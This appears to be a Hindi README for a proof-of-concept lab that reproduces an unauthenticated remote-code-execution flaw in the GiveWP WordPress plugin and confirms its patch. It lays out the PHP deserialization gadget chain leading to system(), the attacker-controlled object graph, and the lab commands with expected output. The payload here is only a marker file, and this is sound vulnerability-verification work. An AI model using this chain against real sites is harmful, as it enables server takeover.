
अधिकृत Docker लैब और GiveWP 4.16.5.1 में CVE-2026-82222 RCE तथा 4.16.7.2 फिक्स को मान्य करने के लिए स्वच्छ PoC।
CVE-2026-82222 को एक पृथक Docker लैब में पुनरुत्पादित और सत्यापित करने के लिए सुरक्षा-अनुसंधान सामग्री।
प्रत्यक्ष RCE PoC और URL स्कैन के लिए CVE-2026-8222-RCE.py का उपयोग करें
स्थिति: प्रदान किए गए लैब में सिद्ध
GiveWP 4.16.5.1 एक प्रारंभिक रूप से अप्रमाणित हमलावर को PHP ऑब्जेक्ट ग्राफ बनाए रखने, GiveWP सत्र हैंडलिंग के माध्यम से इसे पुनर्जीवित करने, और WordPress वेब-सर्वर उपयोगकर्ता के रूप में एक निश्चित मार्कर कमांड निष्पादित करने की अनुमति देता है।
परीक्षण किया गया सकारात्मक परिणाम:
GiveWP: 4.16.5.1
WordPress: 6.6.2
PHP: 8.1.30
Result: /tmp/CVE-2026-82222-RCE-GETBAG created by www-data
अंत-से-अंत परिणाम शुद्ध, गैर-इंस्ट्रूमेंटेड GiveWP 4.16.5.1 स्रोत के विरुद्ध भी पुनरुत्पादित किया गया था। GiveWP 4.16.7.2 ने परीक्षण किए गए कॉन्फ़िगरेशन में HTTP कैरियर को अवरुद्ध किया और प्रत्यक्ष नियंत्रण के दौरान टर्मिनल गैजेट को स्वतंत्र रूप से अवरुद्ध किया।
यह WordPress कंटेनर के अंदर कमांड निष्पादन प्रदर्शित करता है। यह रूट एक्सेस, कंटेनर एस्केप, पार्श्व गति, या होस्ट समझौता प्रदर्शित नहीं करता है।
इस रिपॉजिटरी का उपयोग केवल उन सिस्टमों पर करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आप स्पष्ट रूप से अधिकृत हैं।
प्रदान किया गया PoC जानबूझकर सीमित है:
touch /tmp/CVE-2026-82222-RCE-GETBAG निष्पादित करता है।--allow-authorized-non-loopback फ्लैग प्रदान नहीं करता।127.0.0.1 पर प्रकाशित करता है।HTTP परीक्षण एक डिस्पोजेबल डोनर उपयोगकर्ता, मेटाडेटा, और GiveWP सत्र पंक्तियाँ बनाता है। परीक्षण के बाद शामिल रीसेट कमांड का उपयोग करें।
आवश्यकताएँ:
curlunzipsha256sum या shasumdownloads.wordpress.org तक नेटवर्क पहुंचपूर्ण कमजोर/पैच किया गया मैट्रिक्स चलाएँ:
./lab verify
कमांड:
ProviderForwarder टर्मिनल भी स्ट्रिंग कॉल करने योग्य को अस्वीकार करता है।पैच किया गया लैब अंत में चालू रहता है। इसे हटाने के लिए:
./lab reset
दूसरे लूपबैक पोर्ट का उपयोग करने के लिए:
LAB_PORT=8099 ./lab verify
कमजोर नियंत्रण ठोस टर्मिनल साक्ष्य के साथ समाप्त होना चाहिए:
[PASS] E1: unauthenticated registration issued auth cookie
[PASS] E3: serialized graph persisted in own last_name
[PASS] E4: donation-form nonce obtained
[PASS] E5: session write reached expected post-sink HTTP status=500
[PASS] E6: session read/destruction trigger completed
marker present and owned by the WordPress web user
RESULT: VULNERABLE CONTROL CONFIRMED
पैच किया गया नियंत्रण दिखाना चाहिए:
[PASS] P1: patched registration gate blocked auth cookie
DIRECT_MARKER=absent
HTTP marker absent and direct terminal gadget blocked
RESULT: PATCHED CONTROL CONFIRMED
मार्कर के बिना HTTP 500, संग्रहीत पेलोड, अपवाद, या डिटेक्टर हिट को RCE प्रमाण के रूप में स्वीकार नहीं किया जाता है।
कमजोर रिलीज़ प्रारंभ करें और परीक्षण करें:
./lab start vulnerable
./lab test
पैच की गई रिलीज़ प्रारंभ करें और परीक्षण करें:
./lab start patched
./lab test
वर्तमान स्थिति का निरीक्षण करें:
./lab status
कंटेनर, वॉल्यूम, परीक्षण उपयोगकर्ता, सत्र, और मार्कर स्थिति हटाएँ:
./lab reset
कैश किए गए प्लगइन ZIP और निकाले गए एसेट तेज़ पुनः चलाने के लिए संरक्षित हैं। उन सटीक उत्पन्न एसेट को भी हटाने के लिए:
./lab reset --purge-assets
| संस्करण | मूल्यांकन |
|---|---|
| GiveWP 4.16.5.1 | RCE अंत से अंत तक पुनरुत्पादित |
| GiveWP 4.16.6–4.16.7.1 | प्रभावित बताया गया; यहाँ व्यक्तिगत रूप से पुनरुत्पादित नहीं |
| GiveWP 4.16.7.2 | पैच किए गए नकारात्मक नियंत्रण पुनरुत्पादित |
| बाद के रिलीज़ | व्यक्तिगत रूप से परीक्षण नहीं; नवीनतम समर्थित रिलीज़ में अपडेट करें |
सार्वजनिक सलाह 4.16.7.1 तक के रिलीज़ को प्रभावित के रूप में पहचानती है। यह रिपॉजिटरी सीधे केवल अपने सकारात्मक/नकारात्मक परीक्षण मैट्रिक्स में दो संस्करणों को साबित करती है।
संदर्भ:
शोषण कई व्यवहारों को जोड़ता है:
Give\Helpers\Utils::maybeSafeUnserialize() allowed_classes => false का उपयोग करता है, जो __PHP_Incomplete_Class उत्पन्न करता है, लेकिन बाद का क्रमबद्धीकरण मूल वर्ग नामों और गुणों को संरक्षित करता है।maybe_unserialize() शिप किए गए वर्गों को पुनर्जीवित करता है।system() के लिए एक पूर्ण POP श्रृंखला में प्रवेश करता है।HTTP कैरियर में चार शाब्दिक नेमस्पेस बैकस्लैश आवश्यक हैं। दो प्रभावी स्ट्रिपिंग पास उन्हें 4 -> 2 -> 1 घटाते हैं। पेलोड NUL-मुक्त है, और PHP 8.1.30 को निजी Session::$attributeName गुण के लिए सादा क्रमबद्ध नाम हाइड्रेट करने के लिए सत्यापित किया गया था।
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getAttributeBag()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
-> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')
हमलावर-नियंत्रित ग्राफ:
TCPDF
├── file_id = unique request identifier
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
├── attributeName = fixed marker command
└── storage = Give\TestData\Factories\DonationFactory
└── loadedProviders["getBag"] = "system"
महत्वपूर्ण छिपा संक्रमण PHP का अंतर्निहित IteratorAggregate डिस्पैच है। TCPDF::$imagekeys अटाइप्ड है, इसलिए एक Symfony Session असाइन करने से foreach Session::getIterator() को आमंत्रित करता है।
मार्कर कमांड Symfony के getAttributeBag(): AttributeBagInterface रिटर्न प्रकार लागू करने से पहले निष्पादित होता है। परिणामी TypeError और HTTP 500 पोस्ट-सिंक प्रभाव हैं।
अस्वीकृत उम्मीदवार ग्राफ ने उपयोग किया:
TCPDF::$objcopy
-> DonationFactory::$loadedProviders['__destruct'] = 'system'
वह ग्राफ काम नहीं कर सकता। TCPDF::_destroy() केवल objcopy को अनसेट करता है; PHP स्वचालित विनाश को __call('__destruct', ...) के माध्यम से रूट नहीं करता है।
लापता ऑपरेशन था:
foreach ($this->imagekeys as $file) {